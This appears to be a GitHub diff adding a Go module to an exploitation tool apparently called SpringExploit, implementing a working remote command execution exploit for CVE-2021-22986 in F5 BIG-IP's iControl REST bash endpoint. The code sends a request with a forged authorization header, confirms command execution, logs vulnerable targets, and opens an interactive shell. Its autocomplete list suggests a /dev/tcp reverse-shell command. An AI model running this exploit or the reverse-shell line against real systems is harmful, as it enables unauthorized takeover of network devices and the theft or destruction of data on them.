|
| 1 | +package _021 |
| 2 | + |
| 3 | +import ( |
| 4 | + "encoding/json" |
| 5 | + req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" |
| 6 | + "github.com/SummerSec/SpringExploit/cmd/commons/utils" |
| 7 | + "github.com/c-bata/go-prompt" |
| 8 | + "github.com/imroc/req/v3" |
| 9 | + log "github.com/sirupsen/logrus" |
| 10 | + "net/url" |
| 11 | + "strings" |
| 12 | +) |
| 13 | + |
| 14 | +// 参考 https://github.com/Al1ex/CVE-2021-22986/blob/main/CVE_2021_22986.pyl |
| 15 | + |
| 16 | +type CVE202122986 struct{} |
| 17 | + |
| 18 | +func (t CVE202122986) SendPoc(target string, hashmap map[string]interface{}) { |
| 19 | + log.Debug("[+] Start CVE-2021-22986") |
| 20 | + |
| 21 | + //reqinfo := req2.NewReqInfo() |
| 22 | + //reqmap := structs.Map(reqinfo) |
| 23 | + reqmap := req2.NewReqInfoToMap(hashmap) |
| 24 | + |
| 25 | + // 初始化请求 |
| 26 | + // TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值 |
| 27 | + reqmap["h1"] = true |
| 28 | + |
| 29 | + u, _ := url.Parse(target) |
| 30 | + path := "/mgmt/tm/util/bash" |
| 31 | + reqmap["url"] = u.Scheme + "://" + u.Host + path |
| 32 | + reqmap["method"] = "POST" |
| 33 | + |
| 34 | + headers := map[string]string{ |
| 35 | + //"Host": "localhost", |
| 36 | + "User-Agent": utils.GetUA(), |
| 37 | + //"Connection": "keep-alive, x-f5-auTh-tOKen, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd,X-F5-New-Authtok-Reqd,X-Forwarded-Server,X-Forwarded-Host", |
| 38 | + //"Connection": "keep-alive", |
| 39 | + "Authorization": "Basic YWRtaW46QVNhc1M=", |
| 40 | + "X-F5-Auth-Token": "", |
| 41 | + "Content-Type": "application/json", |
| 42 | + } |
| 43 | + |
| 44 | + reqmap["headers"] = headers |
| 45 | + |
| 46 | + randstr := utils.GetCode(10) |
| 47 | + log.Debugf("[+] randstr: %s", randstr) |
| 48 | + base64str := utils.EncodeString(randstr) |
| 49 | + log.Debugf("[+] base64str: %s", base64str) |
| 50 | + |
| 51 | + reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}" |
| 52 | + //reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}" |
| 53 | + log.Debug("[+] Send CVE-2021-22986 request") |
| 54 | + resp := utils.Send(reqmap) |
| 55 | + |
| 56 | + if t.CheckExp(resp, randstr, hashmap) { |
| 57 | + t.SaveResult(target, hashmap["Out"].(string)) |
| 58 | + } |
| 59 | + |
| 60 | + if hashmap["Shell"].(bool) { |
| 61 | + log.Info("[+] Start CVE-2021-22986 shell") |
| 62 | + th := prompt.Input("[+] Please input command: ", completer) |
| 63 | + if th == "" { |
| 64 | + th = "whoami |base64 " |
| 65 | + } else { |
| 66 | + th = th + " |base64 " |
| 67 | + } |
| 68 | + reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c '" + th + "'\"}" |
| 69 | + resp = utils.Send(reqmap) |
| 70 | + txt := resp.String() |
| 71 | + |
| 72 | + log.Debugf("[+] resp: %s", txt) |
| 73 | + var txtmap map[string]interface{} |
| 74 | + err := json.Unmarshal([]byte(txt), &txtmap) |
| 75 | + if err != nil { |
| 76 | + log.Errorf("[-] Unmarshal error: %s", err) |
| 77 | + return |
| 78 | + } |
| 79 | + log.Info("命令执行结果: " + utils.DecodeString(txtmap["commandResult"].(string))) |
| 80 | + log.Info("[+] End CVE-2021-22986 shell") |
| 81 | + } |
| 82 | + |
| 83 | +} |
| 84 | + |
| 85 | +func (CVE202122986) SaveResult(target string, file string) { |
| 86 | + result := target + " 存在 CVE-2021-22986 漏洞 可以使用 SpringExplit -u " + target + " -p CVE202122986 --shell 进入交互shell执行命令" |
| 87 | + err := utils.SaveToFile(result, file) |
| 88 | + log.Info(result) |
| 89 | + if err != nil { |
| 90 | + return |
| 91 | + } |
| 92 | + |
| 93 | +} |
| 94 | + |
| 95 | +func (CVE202122986) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool { |
| 96 | + defer func() { |
| 97 | + if err := recover(); err != nil { |
| 98 | + log.Error("[-] CheckExp error: ", err) |
| 99 | + } |
| 100 | + }() |
| 101 | + res := resp.String() |
| 102 | + if res == "" { |
| 103 | + return false |
| 104 | + } |
| 105 | + log.Debugf(res) |
| 106 | + if strings.Contains(res, randstr) { |
| 107 | + // 将res 转化成map |
| 108 | + var maps map[string]interface{} |
| 109 | + err := json.Unmarshal([]byte(res), &maps) |
| 110 | + log.Info("CVE-2021-22986 命令执行返回 commandResult: ", maps["commandResult"]) |
| 111 | + if err != nil { |
| 112 | + log.Debugf("[-] json.Unmarshal error: %s", err) |
| 113 | + return false |
| 114 | + } |
| 115 | + return true |
| 116 | + } |
| 117 | + return false |
| 118 | +} |
| 119 | + |
| 120 | +func completer(d prompt.Document) []prompt.Suggest { |
| 121 | + s := []prompt.Suggest{ |
| 122 | + {Text: "id", Description: "you can type command {id}"}, |
| 123 | + {Text: "bash", Description: "you can type command bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/8080 <&1'"}, |
| 124 | + } |
| 125 | + return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true) |
| 126 | +} |
0 commit comments